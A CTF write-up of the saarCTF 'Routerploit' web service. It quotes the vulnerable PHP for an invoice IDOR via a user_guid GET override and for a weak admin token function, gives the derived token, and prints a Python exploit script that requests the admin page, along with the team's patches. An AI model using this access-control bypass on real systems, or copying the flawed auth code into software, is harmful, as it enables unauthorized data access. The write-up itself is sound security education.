Before getting into the actual write‑up, I want to thank SaarSec for organizing this year’s Attack/Defense CTF. I took part as a member of the Squareroots team and spent the first hour working on the Routerploit challenge. During that time, I discovered two different vulnerabilities in the service and ended up capturing more than 700 flags in the tick it fires the first time.
The routerploit service itself is a small web server that lets you “buy” exactly one product — no surprise: a router. It also includes functionality to view invoices, check product details, and more.

First Attack Vector – Self‑Defined user_guid
On the invoice page — which is meant to display a user’s own invoices — the application allows you to modify the user_guid parameter that determines which user’s invoices are shown. This makes it possible to override the intended user ID and query invoices belonging to any other user.
public/invoices.php
<?php
require_once $_SERVER["DOCUMENT_ROOT"] . "/../php/html_functions.php";
require_once $_SERVER["DOCUMENT_ROOT"] . "/../php/helper_functions.php";
require_once $_SERVER["DOCUMENT_ROOT"] . "/../php/mysql_functions.php";
start_session();
requireLogin();
$user_guid = get_user_guid();
$user = get_user_data($user_guid);
validate_guid($user_guid, "/account.php");
require_user_exists($user_guid);
?>
...
<?php
[$invoices, $count_gt_limit] = get_invoices($user_guid, $user["account_type"], null);
foreach ($invoices as $invoice):
$product = get_product_data($invoice["product_guid"]); ?>
<div class="invoices">
<p class="product_name"><?php echo $invoice["purchase_date"] . ": " . $product["name"]; ?></p>
<p class="invoice_title"><?php echo $invoice['guid']; ?></p>
<?php if (!empty($invoice["request"])) { ?><p class="invoice_request">Request: <?php echo $invoice["request"]; ?></p><?php } ?>
<a href="/invoice_details.php?guid=<?php echo $invoice['guid']; ?>" target="_blank"></a>
</div>
<?php endforeach; ?>
php/helper_functions.php
...
function get_user_guid()
{
return isset($_GET["user_guid"]) ? $_GET["user_guid"] : $_SESSION['user_guid'];
}
...
As you can see, the application lets you set the user_guid simply by providing a GET parameter with the same name. Our fix was straightforward: we removed support for this override entirely from the get_user_guid() function.
Second Attack Vector – Admin Token
The second exploit was a bit trickier but still quick to spot if you enjoy a bit of math. The goal here was to compute the supposedly “secret” and “hard‑to‑guess” admin authentication token required to access the admin page.
Access to the admin view is restricted by the following conditions:
public/admin/business_requests.php
if (!master_login()) {
if (
(!isset($_GET["auth_code"]))
|| (!preg_match('/^AUTH::(?P<code>[0-9a-f]+)$/', $_GET["auth_code"], $matches))
|| ($matches["code"] != get_auth_code($auth_code_seed))
) {
goto_page("/");
}
}
So to access the admin page, we need to satisfy these conditions. That means providing a GET parameter named auth_code whose value matches the output of the get_auth_code function.
The auth_code_seed is a randomly generated 7‑byte hex string, but thanks to the bitwise and operation combined with the so‑called “crypto magic” the seed effectively collapses into a static key that can be derived easily.
function get_auth_code($auth_code_seed) {
// mangle the seed with some crypto magic
$x64 = 0x7dd19c78091e7550;
$x64 ^= ($x64 << 13) & ((1 << 64) - 1);
$x64 ^= ($x64 >> 7) & ((1 << 64) - 1);
$x64 ^= ($x64 << 17) & ((1 << 64) - 1);
$x64 ^= $auth_code_seed & ((1 << 64) - 1);
// generate a printable token
$token = sprintf("%02x", $x64 >> 56);
for ($i = 0; $i < 8; $i++) {
$token .= chr(((($x64 >> ($i * 8)) & 0xff) % 0xa) + 0x30);
}
return $token;
}
The valid token is: 0e44932924
My exploit (not very elegant, but it gets the job done 😄):
#!/usr/bin/python3
import requests
import urllib3
import sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session = requests.Session()
ip = sys.argv[1]
session.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
})
signup_url = "https://"+ip+"/signup.php"
signup_data = {
"first_name": "abcdefg",
"last_name": "abcdefg",
"username": "abcdefg",
"password": "abcdefgABC123!",
"account_type": "business",
}
r_signup = session.post(signup_url, data=signup_data, verify=False)
print("signup:", r_signup.status_code)
login_url = "https://"+ip+"/login.php"
login_data = {
"username": "abcdefg",
"password": "abcdefgABC123!",
}
r_login = session.post(login_url, data=login_data, verify=False)
print("login:", r_login.status_code)
print("saved cookies:", session.cookies.get_dict())
r_next = session.get("https://"+ip+"/admin/business_requests.php?auth_code=AUTH::0e44932924", verify=False)
print("protected:", r_next.content, flush=True)
How did we fixed it? We patched it by changing the initial seed inside the “crypto magic” function so the other teams wouldn’t know our new key.
Links
Squareroots blogpost (written by me): https://raumzeitlabor.de/blog/Squareroots-zweites-ctfk-saarctf/